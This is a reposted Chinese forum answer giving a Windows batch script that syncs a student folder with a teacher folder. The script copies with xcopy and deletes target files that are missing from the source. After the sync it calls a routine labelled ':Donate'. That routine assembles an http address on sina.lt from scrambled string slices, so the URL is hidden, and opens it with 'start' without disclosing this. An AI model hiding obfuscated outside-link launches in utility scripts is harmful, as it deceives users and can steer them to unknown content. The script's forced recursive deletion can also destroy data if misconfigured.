如何用批处理文件同步两个文件夹里的数据

如何用批处理文件同步两个文件夹里的数据,第1张

由于手机上编写,因此尚未进行测试,请您在使用时做好备份,或先找两个不重要的文件夹,进行测试,测试通过后,再去实测。测试过程中若有问题,请追问。

@echo off & title 同步教师机内容 By 依梦琴瑶

::设置教师机文件所在目录路径

set SrcDir=D:\LaoShi_YiMeng

::设置学生机文件所在目录路径

set TgrDir=X:\MyFolder

echo 正在同步中,请耐心等待。。。

xcopy /s/e/y/h/d "%SrcDir%\" "%TgrDir%\"

for /f "delims=" %%a in ('dir /a/s/b "%TgrDir%\*"') do (

    call :Check "%%~a"

)

echo, & echo 同步完成

pause

call :Donate

exit

:Donate

set "S0=fPdv"

set "S1=.:ailnhpst/"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit

:Check

set "Var=%~1"

call set "Var=%%Var:%TgrDir%\=%SrcDir%\%%"

if not exist "%Var%" (

    dir /ad "%Var%" >nul 2>nul && (

        rd /s /q "%~1"

    ) || (

        del /f /q "%~1"

    )

)

goto :eof

识别已打开的文件,这个没法实现。

毕竟不像运行程序,可以通过查找进程来分析。

复制已修改的,应该可以通过分析创建时间和修改时间的不同来实现。

最后一个,删除另一个文件夹中不存在的文件,这个完全可以实现。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/11595730.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-17
下一篇 2023-05-17

发表评论

登录后才能评论

评论列表(0条)

保存